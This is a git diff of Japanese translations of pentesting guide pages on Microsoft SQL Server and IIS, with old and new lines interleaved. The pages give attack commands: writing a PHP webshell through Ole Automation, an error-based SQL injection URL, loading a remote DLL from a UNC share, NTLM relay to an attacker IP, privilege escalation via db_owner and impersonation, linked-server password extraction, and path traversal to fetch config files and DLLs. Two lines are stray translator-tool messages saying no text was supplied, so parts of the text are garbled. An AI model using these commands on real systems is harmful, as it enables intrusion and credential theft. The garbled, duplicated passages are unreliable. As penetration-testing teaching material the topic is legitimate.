@ -274,16 +306,16 @@ mssqlpwner corp.com/user:lab@192.168.1.65 -windows-auth ntlm-relay 192.168.45.25
> EXEC sp_helprotect 'xp_fileexist';
> ```
**responder**や**Inveigh**などのツールを使用すると、**NetNTLMハッシュを盗む**ことが可能です。\
これらのツールの使用方法は以下で確認できます：
Using tools such as **responder** or **Inveigh** it's possible to **steal the NetNTLM hash**.\
これらのツールの使い方は次をご参照ください:
{{#ref}}
../../generic-methodologies-and-resources/pentesting-network/spoofing-llmnr-nbt-ns-mdns-dns-and-wpad-and-relay-attacks.md
{{#endref}}
### MSSQLの信頼されたリンクの悪用
### MSSQL trusted Links の悪用
[**この投稿を読む**](../../windows-hardening/active-directory-methodology/abusing-ad-mssql.md) **この機能を悪用する方法についての詳細情報を見つけるために：**
[**Read this post**](../../windows-hardening/active-directory-methodology/abusing-ad-mssql.md) **この機能を悪用する方法の詳細は以下を参照してください:**
{{#ref}}
../../windows-hardening/active-directory-methodology/abusing-ad-mssql.md
@ -291,7 +323,7 @@ mssqlpwner corp.com/user:lab@192.168.1.65 -windows-auth ntlm-relay 192.168.45.25
### **ファイルの書き込み**
`MSSQL`を使用してファイルを書き込むには、[**Ole Automation Procedures**](https://docs.microsoft.com/en-us/sql/database-engine/configure-windows/ole-automation-procedures-server-configuration-option)を**有効にする必要があり**、これは管理者権限を必要とし、その後ファイルを作成するためにいくつかのストアドプロシージャを実行します：
`MSSQL` を使用してファイルを書き込むには、管理者権限が必要で、[**Ole Automation Procedures**](https://docs.microsoft.com/en-us/sql/database-engine/configure-windows/ole-automation-procedures-server-configuration-option) を**有効にする必要があります**。その後、ファイルを作成するためにいくつかのストアドプロシージャを実行します:
```bash
# Enable Ole Automation Procedures
sp_configure 'show advanced options', 1
@ -309,30 +341,30 @@ EXECUTE sp_OAMethod @FileID, 'WriteLine', Null, '<?php echo shell_exec($_GET["c"
EXECUTE sp_OADestroy @FileID
EXECUTE sp_OADestroy @OLE
```
### **OPENROWSETを使用してファイルを読み取る**
### **OPENROWSETでファイルを読み取る**
デフォルトでは、`MSSQL`は**アカウントが読み取りアクセスを持つオペレーティングシステム内の任意のファイルの読み取りを許可します**。次のSQLクエリを使用できます：
デフォルトでは、`MSSQL`はアカウントが読み取り権限を持つオペレーティングシステム上の任意のファイルの**読み取りを許可します**。次のSQLクエリを使用できます:
```sql
SELECT * FROM OPENROWSET(BULK N'C:/Windows/System32/drivers/etc/hosts', SINGLE_CLOB) AS Contents
```
しかし、**`BULK`** オプションは **`ADMINISTER BULK OPERATIONS`** または **`ADMINISTER DATABASE BULK OPERATIONS`** 権限を必要とします。
ただし、**`BULK`** オプションには **`ADMINISTER BULK OPERATIONS`** または **`ADMINISTER DATABASE BULK OPERATIONS`** の権限が必要です。
```sql
# Check if you have it
SELECT * FROM fn_my_permissions(NULL, 'SERVER') WHERE permission_name='ADMINISTER BULK OPERATIONS' OR permission_name='ADMINISTER DATABASE BULK OPERATIONS';
```
#### エラーに基づくSQLiのベクター:
#### SQLi に対するエラーベースのベクトル:
```
https://vuln.app/getItem?id=1+and+1=(select+x+from+OpenRowset(BULK+'C:\Windows\win.ini',SINGLE_CLOB)+R(x))--
```
### **RCE/スクリプトを実行してファイルを読み取る (Python と R)**
### **RCE/スクリプトを実行してファイルを読み取る (Python and R)**
MSSQL は **Python および/または R のスクリプトを実行する**ことを許可する場合があります。これらのコードは、**xp_cmdshell** を使用してコマンドを実行しているユーザーとは **異なるユーザー** によって実行されます。
MSSQL は **Python および/または R のスクリプト** を実行できる場合があります。これらのコードは、コマンドを実行するために **xp_cmdshell** を使用するユーザーとは **別のユーザー** によって実行されます。
**'R'** _"Hellow World!"_ **が動作しない** 例:
例: **'R'** _"Hellow World!"_ を実行しようとする（動作しない）:
![](<../../images/image (393).png>)
複数のアクションを実行するために構成された Python を使用する例:
設定された Python を使用して複数の操作を実行する例:
```sql
# Print the user being used (and execute commands)
EXECUTE sp_execute_external_script @language = N'Python', @script = N'print(__import__("getpass").getuser())'
@ -348,7 +380,7 @@ GO
```
### レジストリの読み取り
Microsoft SQL Serverは、**ネットワークだけでなく、ファイルシステムや[**Windowsレジストリ**](https://blog.waynesheffield.com/wayne/archive/2017/08/working-registry-sql-server/)**とも対話することができる**複数の拡張ストアドプロシージャ**を提供しています:**
Microsoft SQL Server は **複数の拡張ストアドプロシージャ** を提供しており、これらはネットワークだけでなくファイルシステム、さらには [**Windows Registry**](https://blog.waynesheffield.com/wayne/archive/2017/08/working-registry-sql-server/)**:** に対して操作することを可能にします。
| **通常** | **インスタンス対応** |
| --------------------------- | ------------------------------------ |
@ -371,21 +403,21 @@ Use master;
EXEC sp_helprotect 'xp_regread';
EXEC sp_helprotect 'xp_regwrite';
```
For **more examples** check out the [**original source**](https://blog.waynesheffield.com/wayne/archive/2017/08/working-registry-sql-server/).
**より多くの例**については、[**original source**](https://blog.waynesheffield.com/wayne/archive/2017/08/working-registry-sql-server/) を参照してください。
### RCE with MSSQL User Defined Function - SQLHttp <a href="#mssql-user-defined-function-sqlhttp" id="mssql-user-defined-function-sqlhttp"></a>
### MSSQL User Defined Function - SQLHttp を使った RCE <a href="#mssql-user-defined-function-sqlhttp" id="mssql-user-defined-function-sqlhttp"></a>
MSSQLで**カスタム関数を使用して.NET dllをロードすることが可能です**。ただし、**`dbo`アクセスが必要です**ので、データベースに**`sa`または管理者ロールとして接続する必要があります**。
**MSSQL内でカスタム関数を使って .NET dll をロードすることが可能です**。ただし、これは **`dbo` アクセスが必要** なため、データベースに **`sa` または Administrator ロール** として接続する必要があります。
[**Following this link**](../../pentesting-web/sql-injection/mssql-injection.md#mssql-user-defined-function-sqlhttp) to see an example.
[**Following this link**](../../pentesting-web/sql-injection/mssql-injection.md#mssql-user-defined-function-sqlhttp) で例を参照してください。
### RCE with `autoadmin_task_agents`
### `autoadmin_task_agents` を使った RCE
[ **この投稿によると**](https://exploit7-tr.translate.goog/posts/sqlserver/?_x_tr_sl=es&_x_tr_tl=en&_x_tr_hl=en&_x_tr_pto=wapp)、リモートdllをロードし、MSSQLにそれを実行させることも可能です。
According[ **to this post**](https://exploit7-tr.translate.goog/posts/sqlserver/?_x_tr_sl=es&_x_tr_tl=en&_x_tr_hl=en&_x_tr_pto=wapp)、リモートの dll をロードして MSSQL に実行させることも可能で、次のような方法があります：
```sql
update autoadmin_task_agents set task_assembly_name = "class.dll", task_assembly_path="\\remote-server\\ping.dll",className="Class1.Class1";
```
翻訳する内容が提供されていません。翻訳が必要なテキストを提供してください。
ファイルの内容が含まれていません。翻訳したい src/network-services-pentesting/pentesting-mssql-microsoft-sql-server/README.md のテキストを貼り付けてください。
```csharp
using Microsoft.SqlServer.SmartAdmin;
using System;
@ -435,15 +467,15 @@ public void Test()
}
}
```
### RCEの他の方法
### RCE のその他の方法
コマンド実行を取得するための他の方法として、[拡張ストアドプロシージャ](https://docs.microsoft.com/en-us/sql/relational-databases/extended-stored-procedures-programming/adding-an-extended-stored-procedure-to-sql-server)、[CLRアセンブリ](https://docs.microsoft.com/en-us/dotnet/framework/data/adonet/sql/introduction-to-sql-server-clr-integration)、[SQL Serverエージェントジョブ](https://docs.microsoft.com/en-us/sql/ssms/agent/schedule-a-job?view=sql-server-ver15)、および[外部スクリプト](https://docs.microsoft.com/en-us/sql/relational-databases/system-stored-procedures/sp-execute-external-script-transact-sql)があります。
コマンド実行を得る他の方法として、[extended stored procedures](https://docs.microsoft.com/en-us/sql/relational-databases/extended-stored-procedures-programming/adding-an-extended-stored-procedure-to-sql-server)、[CLR Assemblies](https://docs.microsoft.com/en-us/dotnet/framework/data/adonet/sql/introduction-to-sql-server-clr-integration)、[SQL Server Agent Jobs](https://docs.microsoft.com/en-us/sql/ssms/agent/schedule-a-job?view=sql-server-ver15)、および[external scripts](https://docs.microsoft.com/en-us/sql/relational-databases/system-stored-procedures/sp-execute-external-script-transact-sql) を追加することが挙げられます。
## MSSQL特権昇格
## MSSQL Privilege Escalation
### db_ownerからsysadminへ
### From db_owner to sysadmin
**通常のユーザー**が**管理者**ユーザー（例えば**`sa`**）が所有する**データベース**に対して**`db_owner`**の役割を与えられ、そのデータベースが**`trustworthy`**として設定されている場合、そのユーザーはこれらの特権を悪用して**privesc**を行うことができます。なぜなら、そこに作成された**ストアドプロシージャ**は**所有者**（**管理者**）として**実行**できるからです。
**regular user** が **`db_owner`** ロールを **database owned by an admin** user（例えば **`sa`**）に対して与えられ、かつそのデータベースが **`trustworthy`** に設定されている場合、そのユーザーはこれらの権限を悪用して **privesc** できます。これは、そこに作成された **stored procedures** がオーナー（**admin**）として **execute** できるためです。
```sql
# Get owners of databases
SELECT suser_sname(owner_sid) FROM sys.databases
@ -477,11 +509,11 @@ EXEC sp_elevate_me
--3. Verify your user is a sysadmin
SELECT is_srvrolemember('sysadmin')
```
**metasploit** モジュールを使用できます:
次の**metasploit**モジュールを使用できます:
```bash
msf> use auxiliary/admin/mssql/mssql_escalate_dbowner
```
または **PS** スクリプト：
または **PS** スクリプト:
```bash
# https://raw.githubusercontent.com/nullbind/Powershellery/master/Stable-ish/MSSQL/Invoke-SqlServer-Escalate-Dbowner.psm1
Import-Module .Invoke-SqlServerDbElevateDbOwner.psm1
@ -489,7 +521,7 @@ Invoke-SqlServerDbElevateDbOwner -SqlUser myappuser -SqlPass MyPassword! -SqlSer
```
### 他のユーザーのなりすまし
SQL Serverには、**`IMPERSONATE`**という特別な権限があり、**実行中のユーザーが別のユーザー**またはログインの権限を取得できるようにします。これは、コンテキストがリセットされるか、セッションが終了するまで有効です。
SQL Server には **`IMPERSONATE`** という特別な権限があり、**実行ユーザーが別のユーザーの権限を引き継ぐ** または login を引き継ぐことを、コンテキストがリセットされるかセッションが終了するまで許可します。
```sql
# Find users you can impersonate
SELECT distinct b.name
@ -510,9 +542,9 @@ enum_links
use_link [NAME]
```
> [!TIP]
> ユーザーを偽装できる場合、たとえそのユーザーがsysadminでなくても、**そのユーザーが他の** **データベース** **やリンクサーバーにアクセスできるかどうかを確認するべきです。**
>
> sysadminになると、他のユーザーを偽装できることに注意してください:
> ユーザーを偽装できるなら、たとえ彼がsysadminでなくても、i**ユーザーがアクセス権を持っているか**を他の **databases** や linked servers で確認すべきです。
なお、一度sysadminになれば、他のどのユーザーでも偽装できます:
```sql
-- Impersonate RegUser
EXECUTE AS LOGIN = 'RegUser'
@ -522,47 +554,49 @@ SELECT IS_SRVROLEMEMBER('sysadmin')
-- Change back to sa
REVERT
```
この攻撃は**metasploit**モジュールを使用して実行できます：
この攻撃は**metasploit**モジュールを使って実行できます:
```bash
msf> auxiliary/admin/mssql/mssql_escalate_execute_as
```
または **PS** スクリプトを使用して：
または**PS**スクリプトを使って:
```bash
# https://raw.githubusercontent.com/nullbind/Powershellery/master/Stable-ish/MSSQL/Invoke-SqlServer-Escalate-ExecuteAs.psm1
Import-Module .Invoke-SqlServer-Escalate-ExecuteAs.psm1
Invoke-SqlServer-Escalate-ExecuteAs -SqlServerInstance 10.2.9.101 -SqlUser myuser1 -SqlPass MyPassword!
```
## MSSQLを使用した持続性
## MSSQL を用いた永続化
[https://blog.netspi.com/sql-server-persistence-part-1-startup-stored-procedures/](https://blog.netspi.com/sql-server-persistence-part-1-startup-stored-procedures/)
## SQL Server Linked Serversからのパスワード抽出
## SQL Server Linked Servers からのパスワード抽出
攻撃者はSQL Server Linked ServersのパスワードをSQLインスタンスから抽出し、平文で取得することができ、攻撃者にターゲットに対するより大きな足場を得るために使用できるパスワードを与えます。Linked Serversのために保存されたパスワードを抽出し復号化するスクリプトは[こちら](https://www.richardswinbank.net/admin/extract_linked_server_passwords)にあります。
攻撃者は SQL Server の Linked Servers に保存されたパスワードを SQL インスタンスから抽出して平文で取得でき、ターゲット上でより大きな足場を得るために利用できるパスワードを入手できます。Linked Servers に保存されたパスワードを抽出・復号するスクリプトは [here](https://www.richardswinbank.net/admin/extract_linked_server_passwords)
このエクスプロイトが機能するためには、いくつかの要件と設定が必要です。まず第一に、マシン上で管理者権限を持っているか、SQL Serverの設定を管理する能力が必要です。
このエクスプロイトを動作させるには、いくつかの要件と設定が必要です。まず、マシン上の Administrator 権限、または SQL Server の設定を管理する能力が必要です。
権限を確認した後、次の3つのことを設定する必要があります。
権限を確認したら、次の3つの設定を行う必要があります：
1. SQL ServerインスタンスでTCP/IPを有効にする。
2. スタートアップパラメータを追加する。この場合、トレースフラグが追加されます。-T7806です。
3. リモート管理接続を有効にする。
1. SQL Server インスタンスで TCP/IP を有効化する;
2. Start Up パラメータを追加する。ここではトレースフラグ -T7806 を追加します。
3. リモート管理接続を有効化する。
これらの設定を自動化するために、[このリポジトリ](https://github.com/IamLeandrooooo/SQLServerLinkedServersPasswords/)には必要なスクリプトがあります。設定の各ステップのためのPowerShellスクリプトがあるだけでなく、設定スクリプトとパスワードの抽出および復号化を組み合わせた完全なスクリプトも含まれています。
これらの設定を自動化するために、[this repository ](https://github.com/IamLeandrooooo/SQLServerLinkedServersPasswords/)には必要なスクリプトが含まれています。各設定ステップ用の powershell スクリプトがあるほか、設定スクリプトとパスワードの抽出・復号を組み合わせたフルスクリプトも含まれています。
この攻撃に関するさらなる情報については、次のリンクを参照してください：[MSSQLデータベースリンクサーバーパスワードの復号化](https://www.netspi.com/blog/technical/adversary-simulation/decrypting-mssql-database-link-server-passwords/)
詳細については、以下のリンクを参照してください: [Decrypting MSSQL Database Link Server Passwords](https://www.netspi.com/blog/technical/adversary-simulation/decrypting-mssql-database-link-server-passwords/)
[SQL Server専用管理者接続のトラブルシューティング](https://www.mssqltips.com/sqlservertip/5364/troubleshooting-the-sql-server-dedicated-administrator-connection/)
[Troubleshooting the SQL Server Dedicated Administrator Connection](https://www.mssqltips.com/sqlservertip/5364/troubleshooting-the-sql-server-dedicated-administrator-connection/)
## ローカル特権昇格
## Local Privilege Escalation
MSSQL サーバを実行しているユーザは特権トークン **SeImpersonatePrivilege** を有効にしています。\
おそらく次のいずれかの手法に従って **Administrator に昇格** できるでしょう：
MSSQLサーバーを実行しているユーザーは、特権トークン**SeImpersonatePrivilege**を有効にしています。\
おそらく、次の2つのページのいずれかに従って**管理者に昇格する**ことができるでしょう：
{{#ref}}
../../windows-hardening/windows-local-privilege-escalation/roguepotato-and-printspoofer.md
{{#endref}}
{{#ref}}
../../windows-hardening/windows-local-privilege-escalation/juicypotato.md
{{#endref}}
@ -571,7 +605,19 @@ MSSQLサーバーを実行しているユーザーは、特権トークン**SeIm
- `port:1433 !HTTP`
## 参考文献
## 参考資料
- [Unit 42 – Phantom Taurus: WMI-driven direct SQL collection via batch/sqlcmd](https://unit42.paloaltonetworks.com/phantom-taurus/)
- [https://stackoverflow.com/questions/18866881/how-to-get-the-list-of-all-database-users](https://stackoverflow.com/questions/18866881/how-to-get-the-list-of-all-database-users)
- [https://www.mssqltips.com/sqlservertip/6828/sql-server-login-user-permissions-fn-my-permissions/](https://www.mssqltips.com/sqlservertip/6828/sql-server-login-user-permissions-fn-my-permissions/)
- [https://swarm.ptsecurity.com/advanced-mssql-injection-tricks/](https://swarm.ptsecurity.com/advanced-mssql-injection-tricks/)
- [https://www.netspi.com/blog/technical/network-penetration-testing/hacking-sql-server-stored-procedures-part-1-untrustworthy-databases/](https://www.netspi.com/blog/technical/network-penetration-testing/hacking-sql-server-stored-procedures-part-1-untrustworthy-databases/)
- [https://www.netspi.com/blog/technical/network-penetration-testing/hacking-sql-server-stored-procedures-part-2-user-impersonation/](https://www.netspi.com/blog/technical/network-penetration-testing/hacking-sql-server-stored-procedures-part-2-user-impersonation/)
- [https://www.netspi.com/blog/technical/network-penetration-testing/executing-smb-relay-attacks-via-sql-server-using-metasploit/](https://www.netspi.com/blog/technical/network-penetration-testing/executing-smb-relay-attacks-via-sql-server-using-metasploit/)
- [https://blog.waynesheffield.com/wayne/archive/2017/08/working-registry-sql-server/](https://blog.waynesheffield.com/wayne/archive/2017/08/working-registry-sql-server/)
- [https://mayfly277.github.io/posts/GOADv2-pwning-part12/](https://mayfly277.github.io/posts/GOADv2-pwning-part12/)
- [https://exploit7-tr.translate.goog/posts/sqlserver/?_x_tr_sl=es&_x_tr_tl=en&_x_tr_hl=en&_x_tr_pto=wapp](https://exploit7-tr.translate.goog/posts/sqlserver/?_x_tr_sl=es&_x_tr_tl=en&_x_tr_hl=en&_x_tr_pto=wapp)
- [https://stackoverflow.com/questions/18866881/how-to-get-the-list-of-all-database-users](https://stackoverflow.com/questions/18866881/how-to-get-the-list-of-all-database-users)
- [https://www.mssqltips.com/sqlservertip/6828/sql-server-login-user-permissions-fn-my-permissions/](https://www.mssqltips.com/sqlservertip/6828/sql-server-login-user-permissions-fn-my-permissions/)
@ -583,7 +629,7 @@ MSSQLサーバーを実行しているユーザーは、特権トークン**SeIm
- [https://mayfly277.github.io/posts/GOADv2-pwning-part12/](https://mayfly277.github.io/posts/GOADv2-pwning-part12/)
- [https://exploit7-tr.translate.goog/posts/sqlserver/?\_x_tr_sl=es&\_x_tr_tl=en&\_x_tr_hl=en&\_x_tr_pto=wapp](https://exploit7-tr.translate.goog/posts/sqlserver/?_x_tr_sl=es&_x_tr_tl=en&_x_tr_hl=en&_x_tr_pto=wapp)
## HackTricks自動コマンド
## HackTricks 自動コマンド
```
Protocol_Name: MSSQL #Protocol Abbreviation if there is one.
Port_Number: 1433 #Comma separated if there is more than one.

253
src/network-services-pentesting/pentesting-web/iis-internet-information-services.md
View File

@ -2,7 +2,7 @@
{{#include ../../banners/hacktricks-training.md}}
テスト実行可能ファイル拡張子:
テスト用実行ファイルの拡張子:
- asp
- aspx
@ -11,12 +11,12 @@
## 内部IPアドレスの開示
302を受け取った任意のIISサーバーでは、Hostヘッダーを削除し、HTTP/1.0を使用して、レスポンス内のLocationヘッダーが内部IPアドレスを指す可能性があります:
302が返る任意のIISサーバーでは、Host headerを削除してHTTP/1.0を使用してみると、レスポンス内のLocation headerが内部IPアドレスを指すことがあります:
```
nc -v domain.com 80
openssl s_client -connect domain.com:443
```
内部IPを開示する応答:
内部IPを開示するレスポンス:
```
GET / HTTP/1.0
@ -27,21 +27,21 @@ Location: https://192.168.5.237/owa/
Server: Microsoft-IIS/10.0
X-FEServer: NHEXCHANGE2016
```
## .configファイルの実行
## .config ファイルを実行する
.configファイルをアップロードし、それを使用してコードを実行できます。これを行う方法の1つは、HTMLコメント内にファイルの最後にコードを追加することです: [Download example here](https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/Upload%20Insecure%20Files/Configuration%20IIS%20web.config/web.config)
.config ファイルをアップロードしてコードを実行することができます。1つの方法は、ファイル末尾にコードを HTML コメントとして追記することです: [Download example here](https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/Upload%20Insecure%20Files/Configuration%20IIS%20web.config/web.config)
この脆弱性を悪用するための詳細情報と技術は[here](https://soroush.secproject.com/blog/2014/07/upload-a-web-config-file-for-fun-profit/)にあります。
この脆弱性を悪用するための詳細と手法は[here](https://soroush.secproject.com/blog/2014/07/upload-a-web-config-file-for-fun-profit/)を参照してください。
## IISディスカバリーブルートフォース
## IIS Discovery Bruteforce
私が作成したリストをダウンロードしてください:
Download the list that I have created:
{{#file}}
iisfinal.txt
{{#endfile}}
これは、以下のリストの内容を統合して作成されました:
次のリストをマージして作成しました:
[https://raw.githubusercontent.com/danielmiessler/SecLists/master/Discovery/Web-Content/IIS.fuzz.txt](https://raw.githubusercontent.com/danielmiessler/SecLists/master/Discovery/Web-Content/IIS.fuzz.txt)\
[http://itdrafts.blogspot.com/2013/02/aspnetclient-folder-enumeration-and.html](http://itdrafts.blogspot.com/2013/02/aspnetclient-folder-enumeration-and.html)\
@ -50,63 +50,63 @@ iisfinal.txt
[https://raw.githubusercontent.com/danielmiessler/SecLists/master/Discovery/Web-Content/SVNDigger/cat/Language/asp.txt](https://raw.githubusercontent.com/danielmiessler/SecLists/master/Discovery/Web-Content/SVNDigger/cat/Language/asp.txt)\
[https://raw.githubusercontent.com/xmendez/wfuzz/master/wordlist/vulns/iis.txt](https://raw.githubusercontent.com/xmendez/wfuzz/master/wordlist/vulns/iis.txt)
拡張子を追加せずに使用してください。必要なファイルにはすでに拡張子があります。
拡張子を追加せずに使用してください。必要な拡張子はすでに含まれています。
## パストラバーサル
## Path Traversal
### ソースコードの漏洩
### Leaking source code
完全な詳細は次のリンクを確認してください: [https://blog.mindedsecurity.com/2018/10/from-path-traversal-to-source-code-in.html](https://blog.mindedsecurity.com/2018/10/from-path-traversal-to-source-code-in.html)
詳細な解説は次を参照してください: [https://blog.mindedsecurity.com/2018/10/from-path-traversal-to-source-code-in.html](https://blog.mindedsecurity.com/2018/10/from-path-traversal-to-source-code-in.html)
> [!NOTE]
> 要約すると、アプリケーションのフォルダー内に複数のweb.configファイルがあり、"**assemblyIdentity**"ファイルや"**namespaces**"への参照があります。この情報を使用して、**実行可能ファイルの場所**を知り、それをダウンロードすることが可能です。\
> **ダウンロードしたDll**からは、**新しい名前空間**を見つけてアクセスし、web.configファイルを取得して新しい名前空間とassemblyIdentityを見つけることも可能です。\
> また、**connectionstrings.config**および**global.asax**ファイルには興味深い情報が含まれている可能性があります。
> [!TIP]
> 要約すると、アプリケーションのフォルダ内には複数の web.config ファイルがあり、**assemblyIdentity** ファイルや **namespaces** への参照が含まれています。これらの情報から、**where are executables located** を特定してダウンロードすることが可能です。\
> ダウンロードした **downloaded Dlls** からは、さらに **new namespaces** を見つけることができ、それらにアクセスして web.config を取得し、新しい namespaces と assemblyIdentity を見つけることができます。\
> また、**connectionstrings.config** や **global.asax** ファイルには興味深い情報が含まれている可能性があります。
**.Net MVCアプリケーション**では、**web.config**ファイルは、アプリケーションが依存する各バイナリファイルを**"assemblyIdentity"** XMLタグを通じて指定する重要な役割を果たします。
In **.Net MVC applications**, the **web.config** file plays a crucial role by specifying each binary file the application relies on through **"assemblyIdentity"** XML tags.
### **バイナリファイルの探索**
### **バイナリファイルの調査**
**web.config**ファイルにアクセスする例は以下に示されています:
以下に **web.config** ファイルへアクセスする例を示します:
```html
GET /download_page?id=..%2f..%2fweb.config HTTP/1.1
Host: example-mvc-application.minded
```
このリクエストは、次のようなさまざまな設定や依存関係を明らかにします。
このリクエストは、以下のような設定や依存関係を明らかにします：
- **EntityFramework** バージョン
- ウェブページ、クライアント検証、および JavaScript のための **AppSettings**
- 認証とランタイムのための **System.web** 設定
- **System.webServer** モジュール設定
- **Microsoft.Owin**、**Newtonsoft.Json**、および **System.Web.Mvc** のような多数のライブラリのための **Runtime** アセンブリバインディング
- **EntityFramework** のバージョン
- **AppSettings**（webpages、クライアント検証、JavaScript に関する設定）
- **System.web** の認証およびランタイム構成
- **System.webServer** のモジュール設定
- **Runtime** のアセンブリバインディング（例: **Microsoft.Owin**, **Newtonsoft.Json**, **System.Web.Mvc** など多数）
これらの設定は、**/bin/WebGrease.dll** のような特定のファイルがアプリケーションの /bin フォルダー内に存在することを示しています。
これらの設定は、**/bin/WebGrease.dll** のようなファイルがアプリケーションの /bin フォルダ内に存在することを示しています。
### **ルートディレクトリファイル**
### **ルートディレクトリのファイル**
**/global.asax** や **/connectionstrings.config**（機密パスワードを含む）など、ルートディレクトリに見つかるファイルは、アプリケーションの構成と動作に不可欠です。
ルートディレクトリで見つかる **/global.asax** や **/connectionstrings.config**（機密のパスワードを含む）は、アプリケーションの設定と動作に不可欠です。
### **名前空間と Web.Config**
MVC アプリケーションは、各ファイルでの繰り返し宣言を避けるために特定の名前空間用の追加の **web.config ファイル** を定義します。これは、別の **web.config** をダウンロードするリクエストで示されています。
MVC アプリケーションは、各ファイルで繰り返し宣言するのを避けるため、特定の名前空間向けに追加の **web.config files** を定義することもあります。これは、別の **web.config** をダウンロードするリクエストで示されています：
```html
GET /download_page?id=..%2f..%2fViews/web.config HTTP/1.1
Host: example-mvc-application.minded
```
### **DLLのダウンロード**
### **DLLsのダウンロード**
カスタムネームスペースの言及は、/binディレクトリに存在する「**WebApplication1**」という名前のDLLを示唆しています。これに続いて、**WebApplication1.dll**をダウンロードするリクエストが表示されます：
カスタム名前空間の記述から、/bin ディレクトリに **WebApplication1** という名前の DLL が存在することが示唆されます。続いて、**WebApplication1.dll** をダウンロードするリクエストが表示されます:
```html
GET /download_page?id=..%2f..%2fbin/WebApplication1.dll HTTP/1.1
Host: example-mvc-application.minded
```
これは、/bin ディレクトリに **System.Web.Mvc.dll** や **System.Web.Optimization.dll** などの他の重要な DLL の存在を示唆しています。
これは、/bin ディレクトリに **System.Web.Mvc.dll** や **System.Web.Optimization.dll** のような他の重要な DLL が存在することを示唆します。
DLL が **WebApplication1.Areas.Minded** という名前空間をインポートするシナリオでは、攻撃者は **/area-name/Views/** のような予測可能なパスに他の web.config ファイルが存在することを推測するかもしれません。これらのファイルには、特定の構成や /bin フォルダ内の他の DLL への参照が含まれています。例えば、**/Minded/Views/web.config** へのリクエストは、別の DLL **WebApplication1.AdditionalFeatures.dll** の存在を示す構成や名前空間を明らかにすることがあります。
DLL が **WebApplication1.Areas.Minded** という namespace をインポートしている場合、攻撃者は **/area-name/Views/** のような予測可能なパスに他の web.config ファイルが存在し、特定の設定や /bin フォルダ内の他の DLL への参照を含んでいると推測するかもしれません。例えば、**/Minded/Views/web.config** へのリクエストは、別の DLL **WebApplication1.AdditionalFeatures.dll** の存在を示す設定や namespace を露呈する可能性があります。
### 一般的なファイル
### 共通のファイル
[こちら](https://www.absolomb.com/2018-01-26-Windows-Privilege-Escalation-Guide/)から
From [here](https://www.absolomb.com/2018-01-26-Windows-Privilege-Escalation-Guide/)
```
C:\Apache\conf\httpd.conf
C:\Apache\logs\access.log
@ -183,65 +183,181 @@ C:\xampp\security\webdav.htpasswd
C:\xampp\sendmail\sendmail.ini
C:\xampp\tomcat\conf\server.xml
```
## HTTPAPI 2.0 404 エラー
## HTTPAPI 2.0 404 Error
次のようなエラーが表示された場合：
If you see an error like the following one:
![](<../../images/image (446) (1) (2) (2) (3) (3) (2) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (10) (10) (2).png>)
![](<../../images/image (446) (1) (2) (2) (3) (3) (2) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (10) (10) (2).png>)
サーバーが**Hostヘッダー内に正しいドメイン名を受信しなかった**ことを意味します。\
ウェブページにアクセスするには、提供された**SSL証明書**を確認し、そこにドメイン/サブドメイン名が含まれているかもしれません。もしそこにない場合は、**VHostsをブルートフォース**して正しいものを見つける必要があります。
次のことを意味します：サーバーがHost header内で**正しいドメイン名を受け取っていない**ということです。\
ウェブページにアクセスするには、提供されている**SSL Certificate**を確認して、そこにドメイン/サブドメイン名が含まれているかを確認してみてください。含まれていない場合は、正しいものが見つかるまで**brute force VHosts**を行う必要があるかもしれません。
## 注目すべき古いIISの脆弱性
## Decrypt encrypted configuration and ASP.NET Core Data Protection key rings
### Microsoft IISチルダ文字「\~」脆弱性/機能 – 短いファイル/フォルダ名の漏洩
IIS上でホストされる .NET アプリでシークレットを保護する一般的なパターンは2つあります:
- ASP.NET Protected Configuration (RsaProtectedConfigurationProvider) — web.config の <connectionStrings> のようなセクションを保護するためのもの。
- ASP.NET Core Data Protection key ring (persisted locally) — アプリケーションのシークレットとcookiesを保護するために使用され、ローカルに保存される。
この**技術**を使用して、発見された各フォルダ内の**フォルダやファイルを列挙**してみることができます（Basic Authenticationが必要な場合でも）。\
この技術の主な制限は、サーバーが脆弱な場合、**各ファイル/フォルダの名前の最初の6文字とファイルの拡張子の最初の3文字しか見つけられない**ことです。
webサーバー上でファイルシステムアクセスや対話的アクセスがある場合、同一場所にあるキーは復号を可能にすることが多い。
この脆弱性をテストするために[https://github.com/irsdl/IIS-ShortName-Scanner](https://github.com/irsdl/IIS-ShortName-Scanner)を使用できます：`java -jar iis_shortname_scanner.jar 2 20 http://10.13.38.11/dev/dca66d38fd916317687e1390a420c3fc/db/`
- ASP.NET (Full Framework) – 保護された構成セクションを aspnet_regiis で復号する:
```cmd
# Decrypt a section by app path (site configured in IIS)
%WINDIR%\Microsoft.NET\Framework64\v4.0.30319\aspnet_regiis.exe -pd "connectionStrings" -app "/MyApplication"
# Or specify the physical path (-pef/-pdf write/read to a config file under a dir)
%WINDIR%\Microsoft.NET\Framework64\v4.0.30319\aspnet_regiis.exe -pdf "connectionStrings" "C:\inetpub\wwwroot\MyApplication"
```
- ASP.NET Core – ローカルに保存された Data Protection key rings（XML/JSON ファイル）を次のような場所で探す:
- %PROGRAMDATA%\Microsoft\ASP.NET\DataProtection-Keys
- HKLM\SOFTWARE\Microsoft\ASP.NET\Core\DataProtection-Keys (registry)
- App-managed folder (e.g., App_Data\keys or a Keys directory next to the app)
key ring が入手できれば、アプリの identity で動作するオペレータは同じ purposes で IDataProtector をインスタンス化し、保存されたシークレットを unprotect できます。key ring をアプリファイルと共に保存してしまうような misconfiguration は、ホストが侵害された後にオフラインでの復号を簡単にします。
## IIS fileless backdoors and in-memory .NET loaders (NET-STAR style)
The Phantom Taurus/NET-STAR toolkit は、w3wp.exe 内部だけで完結する fileless IIS persistence と post‑exploitation の成熟したパターンを示しています。コアとなるアイデアは、カスタムのトレードクラフトや detection/hunting に広く再利用可能です。
Key building blocks
- ASPX bootstrapper hosting an embedded payload: 単一の .aspx ページ（例: OutlookEN.aspx）が Base64‑encoded、オプションで Gzip 圧縮された .NET DLL を含みます。トリガーとなるリクエストを受けるとデコード・解凍して現在の AppDomain にリフレクティブにロードし、メインのエントリポイント（例: ServerRun.Run()）を呼び出します。
